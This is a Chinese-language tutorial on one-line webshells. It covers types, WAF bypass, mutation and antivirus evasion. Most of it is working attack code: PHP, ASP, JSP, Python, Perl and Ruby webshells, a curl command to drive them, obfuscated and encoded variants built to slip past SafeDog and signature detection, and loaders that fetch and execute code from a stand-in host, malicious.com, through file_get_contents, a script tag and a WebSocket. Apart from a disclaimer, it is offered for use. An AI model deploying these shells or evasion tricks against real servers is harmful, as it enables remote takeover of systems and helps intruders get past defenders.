一句话木马-类型/绕过/变异/免杀
⚠ 免责声明
本平台发布的所有内容仅供学习和参考之用。
如有任何 非法 或 不当用途,责任由使用者 自行承担,与平台及本文作者 无关。
--- ⚡ 请遵守相关法律法规,合理使用,享受学习的乐趣!⚡
什么是一句话木马
一句话木马是一种简短的恶意Web代码,通常通过上传或注入的方式嵌入到Web服务器中,攻击者可以通过它在服务器上远程执行命令。它的特点是代码简短、隐蔽性强,适用于Web入侵和控制。
常见的一句话木马类型
- PHP 一句话木马
PHP语言支持广泛,因此PHP一句话木马最为常见。常用的PHP木马代码如下:
<?php @eval($_POST['cmd']); ?>
通过POST请求传递cmd参数的代码并执行。@符号用于隐藏错误提示。
使用方法:上传到服务器,通过POST请求传递恶意命令,例如:
curl -d "cmd=system('ls');" http://target/shell.php
<?php @eval(base64_decode($_POST['cmd'])); ?>
变种2:动态函数调用效果:通过base64编码绕过简单的字符串检测。例如,POST数据可以是:
cmd=c3lzdGVtKCdscycpOw==
,对应的是system('ls');。
<?php call_user_func('system', $_GET['cmd']); ?>
效果:通过call_user_func函数动态调用命令执行函数,如system,避免直接使用常见的eval。
- ASP 一句话木马
<%
eval request("cmd")
%>
变种1:Shell对象解释:通过request("cmd")获取并执行传入的命令。
<%
Set shell = CreateObject("WScript.Shell")
shell.Run Request("cmd")
%>
效果:利用Windows Script Host执行系统命令。
- JSP 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
变种:输出命令结果解释:通过request.getParameter("cmd")执行传入的系统命令。
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1){
out.print((char)a);
}
%>
效果:执行命令并将结果输出到网页上。
- Python 一句话木马
import os; os.system(request.args.get('cmd'))
变种:子进程调用解释:通过Flask或Django的request.args.get获取cmd参数并执行系统命令。
import subprocess; subprocess.run(request.args.get('cmd'), shell=True)
效果:使用subprocess模块执行命令,支持更多的系统调用选项。
- Perl 一句话木马
print `$_GET{'cmd'}`;
解释:通过反引号执行系统命令,并将结果输出到网页。
- Ruby一句话木马
system(params[:cmd])
解释:从请求参数中获取cmd并执行系统命令。
绕过安全狗的常用方法
安全狗是常见的Web防护软件之一,专注于防止恶意代码上传和执行。以下是几种常见的绕过安全狗的方法:
- 代码混淆与编码
通过混淆代码结构,增加解码步骤,绕过基于特征的检测:
<?php @eval(base64_decode($_POST['cmd'])); ?>
效果:通过base64解码传入的命令,原始代码未被直接暴露。
- 非法字符替换
利用字符替换的方法躲避过滤器的检测,例如替换eval中的某些字符:
<?php $a = 'e'.'v'.'a'.'l'; $a($_POST['cmd']); ?>
效果:通过将eval拼接成动态字符串,使检测规则无法精确匹配。
- 函数变种
使用类似的PHP内置函数来代替常见的命令执行函数,例如:
<?php assert($_POST['cmd']); ?>
效果:assert函数在功能上类似于eval,可以执行PHP代码,但可能不会被检测规则识别。
- 利用数组执行
<?php array_map('system', $_POST['cmd']); ?>
效果:使用array_map函数来调用系统命令执行。
变异与无特征隐藏
- 动态变异
通过使用随机生成的函数名或变量名来绕过基于特征码的检测。例如:
<?php ${'_' . strtoupper('POST')}['cmd'](); ?>
效果:通过动态生成$_POST变量,隐藏常见特征。
- 代码混淆
使用混淆后的代码使得特征匹配失效:
<?php $cmd = $_POST['cmd']; @eval($cmd); ?>
效果:通过将代码逻辑打散,增加动态性,绕过特征检测。
- 动态执行
通过动态生成或拼接代码字符串,减少被特征库匹配到的几率:
<?php $code = base64_decode('ZWNobyAiU3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkISIgOw=='); eval($code); ?>
效果:运行时解码并执行命令,原始代码在静态分析中不可见。
- 无特征隐藏
使用更复杂的代码结构,避免常见的检测特征:
<?php
$func = create_function('$cmd', 'eval($cmd);');
$func($_POST['cmd']);
?>
效果:利用匿名函数动态执行命令,避免直接使用eval等高危函数。
超级隐蔽与免杀技术
- 隐藏在图片文件中
将恶意代码隐藏在图片文件中,通过文件处理函数读取:
<?php @eval(file_get_contents('http://malicious.com/shell.php')); ?>
效果:通过远程获取恶意代码,避免将恶意代码直接存储在服务器本地。
- 动态生成和执行
利用PHP的动态生成机制,生成并执行恶意代码:
<?php
$code = "ZWNobyAiU3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkISIgOw==";
eval(base64_decode($code));
?>
效果:将代码加密,并在运行时解密执行,难以静态分析。
- 通过合法流量执行
将恶意代码隐藏在正常的网络流量中,例如图片或样式表的请求:
<img src="http://target/shell.php?cmd=ls">
效果:使用普通的HTTP请求传递命令,伪装成正常的资源请求。
- CDN 或外部资源调用
通过CDN或外部服务器加载恶意代码,减少本地文件的恶意痕迹:
<script src="http://malicious.com/shell.js"></script>
效果:恶意代码被托管在外部服务器,远程加载并执行,减小本地文件的暴露。
- 使用WebSocket或长连接
通过WebSocket或其他长连接通道传递命令,绕过传统的HTTP请求检测机制:
var ws = new WebSocket('ws://malicious.com:8080');
ws.onmessage = function(event) { eval(event.data); };
效果:通过长连接动态接收并执行恶意命令,较难被防火墙监控。